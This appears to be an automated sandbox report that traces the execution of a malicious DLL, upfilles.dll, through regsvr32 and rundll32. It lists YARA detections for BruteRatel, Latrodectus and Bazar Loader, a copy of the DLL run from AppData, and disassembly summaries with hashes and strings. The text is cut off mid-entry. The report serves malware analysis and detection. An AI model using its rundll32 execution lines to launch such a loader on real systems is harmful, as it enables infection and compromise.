MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:03:59
Start date:	11/05/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /i /s C:\Users\user\Desktop\upfilles.dll.dll
Imagebase:	0x7ff64ee30000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:03:59
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:03:59
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllCanUnloadNow
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:04:02
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllGetClassObject
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:04:02
Start date:	11/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6324 -s 344
Imagebase:	0x7ff67a3b0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:04:05
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllInstall
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:04:05
Start date:	11/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6516 -s 344
Imagebase:	0x7ff67a3b0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:04:08
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllCanUnloadNow
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:04:08
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllGetClassObject
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:04:08
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllInstall
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:04:08
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllUnregisterServer
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:04:08
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",stow
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.1843049394.0000029213423000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000012.00000003.1867725723.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000012.00000003.1868887059.00000292135D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000012.00000003.1868680221.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.1843192476.0000029213423000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000012.00000003.1867965215.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000012.00000003.1867247710.00007DF4F0220000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2738816096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Bazar_2, Description: Yara detected Bazar Loader, Source: 00000012.00000002.2938671459.0000029211650000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Bazar_2, Description: Yara detected Bazar Loader, Source: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.1842909028.0000029213422000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2311847302.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2284190577.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000012.00000003.1868287262.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000012.00000003.1868470583.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BruteRatel_1, Description: Yara detected BruteRatel, Source: 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	00:04:08
Start date:	11/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7272 -s 344
Imagebase:	0x7ff67a3b0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:04:08
Start date:	11/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7288 -s 344
Imagebase:	0x7ff67a3b0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:04:16
Start date:	11/05/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000016.00000003.2703639060.0000000003250000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000016.00000000.1844669819.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000016.00000003.2807505534.0000000008820000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000016.00000002.2945149697.000000000B52C000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000016.00000002.2938259956.0000000003140000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	00:04:29
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:04:37
Start date:	11/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow
Imagebase:	0x7ff74e4b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Disassembly

Reset < >

Analysis Process: rundll32.exePID: 6324, Parent PID: 6632COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	225
Total number of Limit Nodes:	13

Executed Functions

Function 000000018000DE90 Relevance: 21.2, APIs: 14, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000000018000DEB8
__scrt_acquire_startup_lock.LIBCMT ref: 000000018000DF1E
_RTC_Initialize.LIBCMT ref: 000000018000DF4C
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 000000018000DF56
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000000018000DF72
__scrt_release_startup_lock.LIBCMT ref: 000000018000DF9D
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 000000018000DFBC
__scrt_fastfail.LIBCMT ref: 000000018000DFF2
__scrt_acquire_startup_lock.LIBCMT ref: 000000018000E034
__scrt_dllmain_uninitialize_c.LIBCMT ref: 000000018000E049
_RTC_Initialize.LIBCMT ref: 000000018000E053
__scrt_release_startup_lock.LIBCMT ref: 000000018000E066
__scrt_uninitialize_crt.LIBCMT ref: 000000018000E070
__scrt_fastfail.LIBCMT ref: 000000018000E083

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_fastfail__scrt_release_startup_lock$__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_dllmain_uninitialize_c__scrt_initialize_default_local_stdio_options__scrt_is_nonwritable_in_current_image__scrt_uninitialize_crt
String ID:
API String ID: 747939005-0
Opcode ID: d7a072687d834e50c2146167156290bc02a786a46f41c0fae8196e1fdd9393dd
Instruction ID: f1d8c7e15b6d0e8eee91dc52fcbb3e9c46995225e7eb304dce92d09e8cc04b6c
Opcode Fuzzy Hash: d7a072687d834e50c2146167156290bc02a786a46f41c0fae8196e1fdd9393dd
Instruction Fuzzy Hash: B791123161428D86FAD3EB66A8813EA77D1AB8E7C0F44C026BA4557796DF38CB4D8310

Function 000000018000DC18 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__isa_available_init.LIBCMT ref: 000000018000DC35
__vcrt_initialize.LIBVCRUNTIME ref: 000000018000DC3A

Part of subcall function 000000018000FB2C: __vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 000000018000FB35
Part of subcall function 000000018000FB2C: __vcrt_initialize_locks.LIBVCRUNTIME ref: 000000018000FB3A

__vcrt_uninitialize.LIBVCRUNTIME ref: 000000018000DC52

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: __isa_available_init__vcrt_initialize__vcrt_initialize_locks__vcrt_initialize_winapi_thunks__vcrt_uninitialize
String ID:
API String ID: 722566019-0
Opcode ID: 91b077c6b03f44861365230ed74371ec9b6e332527939ceb5f78727b5766cd1f
Instruction ID: 37a4a6329ced6371a2a66ea28f6e1e4b09dc9fd3b3f75e0e34c4a6cc3791f04e
Opcode Fuzzy Hash: 91b077c6b03f44861365230ed74371ec9b6e332527939ceb5f78727b5766cd1f
Instruction Fuzzy Hash: 08E0DF3020528D81FEEBA67124227F93B800B5E3C0F00D09AB899422C3CE49478EEB30

Function 000000018001DDCC Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000018001DDF7

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 76e772688924292ddc527cdee5a1c178fbb710bea3d58e257d819c99dcd316d4
Instruction ID: 65d17c79e222b1a2ddf372d1d78ee9c6fe23a33d1381d1b4cca3fedefeeea444
Opcode Fuzzy Hash: 76e772688924292ddc527cdee5a1c178fbb710bea3d58e257d819c99dcd316d4
Instruction Fuzzy Hash: 2F119E32119B4C86F382AB14E4403D9B3A4F7987C0F058426F6554B792DF38DA18CB40

Function 0000000180018D1C Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,0000000180016B55,?,?,0000EABB3B49FBAC,0000000180011C25,?,?,?,?,0000000180016D36,?,?,00000000), ref: 0000000180018D71

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: da620ac3b0470c3e284df06d5e3f72be40a4f5f84ded953bc3c8e14b1fd962ce
Instruction ID: f62841dba19585218a950150cd799660ed1f7947fd5cd83960c79d349b7bd01d
Opcode Fuzzy Hash: da620ac3b0470c3e284df06d5e3f72be40a4f5f84ded953bc3c8e14b1fd962ce
Instruction Fuzzy Hash: DDF01774301F0C85FFEB57A6A8513E523946FADBC4F4CD424A90A8A6D2EE2CC7899310

Non-executed Functions

Function 000000018000B992 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 387
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000000018000B999
RegCloseKey.ADVAPI32 ref: 000000018000B9AA
RegQueryInfoKeyW.ADVAPI32 ref: 000000018000BAE3
RegCloseKey.ADVAPI32 ref: 000000018000BAF4
RegCloseKey.ADVAPI32 ref: 000000018000BB1D
RegCloseKey.ADVAPI32 ref: 000000018000BB2A

Strings

RegisterTypeLibForUser, xrefs: 000000018000BCFF
CLSID\, xrefs: 000000018000B9D1
\Implemented Categories, xrefs: 000000018000BA4B
APPID, xrefs: 000000018000BF53
OLEAUT32.DLL, xrefs: 000000018000BCED, 000000018000BEB6
{636e6d27-fcd4-4f50-9327-a57314f1dd57}, xrefs: 000000018000BF62
UnRegisterTypeLibForUser, xrefs: 000000018000BEC8

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Close$InfoQuery
String ID: APPID$CLSID\$OLEAUT32.DLL$RegisterTypeLibForUser$UnRegisterTypeLibForUser$\Implemented Categories${636e6d27-fcd4-4f50-9327-a57314f1dd57}
API String ID: 852846383-4188877753
Opcode ID: fbace4b01e39f4c152dc32fcbca2de49086262a6c9a615992fa1c11e5009fb91
Instruction ID: 36fdccbf38cee0f485eeab3dfea302ae432b8954be7fefccb6c683304f628cc1
Opcode Fuzzy Hash: fbace4b01e39f4c152dc32fcbca2de49086262a6c9a615992fa1c11e5009fb91
Instruction Fuzzy Hash: 8FF17331705B4982EBA6DB65E4943EA73A1F78CBD4F548016FA8983B59DF78C64CCB00

Function 000000018001C45C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1208COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 000000018001C4A5
_invalid_parameter_noinfo.LIBCMT ref: 000000018001CAB0
_invalid_parameter_noinfo.LIBCMT ref: 000000018001CC73
_invalid_parameter_noinfo.LIBCMT ref: 000000018001CE7A
_invalid_parameter_noinfo.LIBCMT ref: 000000018001D13E
_invalid_parameter_noinfo.LIBCMT ref: 000000018001D339
memcpy_s.LIBCPMT ref: 000000018001D427
memcpy_s.LIBCPMT ref: 000000018001D4D2
memcpy_s.LIBCPMT ref: 000000018001D59B

Strings

1#QNAN, xrefs: 000000018001D653
1#IND, xrefs: 000000018001D641
1#INF, xrefs: 000000018001D66F
1#SNAN, xrefs: 000000018001D64A

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 8c05d314b1a74ba9b1eb68ae04c90fd85cbb0cde2249671c6c6cb671a958a776
Instruction ID: e1f0dae4446f51bdafb8847fc3cb24afbbfbf491ddeddb96ede54685b1ef348e
Opcode Fuzzy Hash: 8c05d314b1a74ba9b1eb68ae04c90fd85cbb0cde2249671c6c6cb671a958a776
Instruction Fuzzy Hash: 79B2F472614A998BE7BACE69D440BED37A1F38C7C8F509116EA0657B84DF34CB48CB05

Function 000000018000C480 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 358
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,000000018000C0B7), ref: 000000018000C539
GetCurrentThreadId.KERNEL32 ref: 000000018000C545

Strings

OfficeScan-%u-%u, xrefs: 000000018000C5F4

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Current$ProcessThread
String ID: OfficeScan-%u-%u
API String ID: 2063062207-1227074125
Opcode ID: c6addf902dd7764679405b11add7e8d10a0e2cc93030d68895b140be5f5e4abf
Instruction ID: bc3edd4260d23f08e391710098e1a743541aac0b446be91329466539f08d82ed
Opcode Fuzzy Hash: c6addf902dd7764679405b11add7e8d10a0e2cc93030d68895b140be5f5e4abf
Instruction Fuzzy Hash: A2E18B72710B988AEB51CB69E8447DD73A1FB88BD8F508216EA5D53B98DF78C648C700

Function 0000000180001950 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 262
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0000000180001A2A
GetCurrentThreadId.KERNEL32 ref: 0000000180001A35
CreateFileMappingW.KERNEL32 ref: 0000000180001B7E
MapViewOfFile.KERNEL32 ref: 0000000180001BA6
UnmapViewOfFile.KERNEL32 ref: 0000000180001C6F
CloseHandle.KERNEL32 ref: 0000000180001C7B

Part of subcall function 00000001800085D0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800086DD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180001D06
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180001D0C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180001D12

Strings

AmsiScan-%u-%u, xrefs: 0000000180001A52

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$File$CurrentView$CloseCreateHandleMappingProcessThreadUnmap
String ID: AmsiScan-%u-%u
API String ID: 339449336-3663814587
Opcode ID: f86d666ce77a50f1f388e1c7177cd6cafd7afe46af75158c94abe476d195f29a
Instruction ID: cad9272cedee84faff7dd6d60437af36dd1b30a9edb82eafe8aa5967f9bdee47
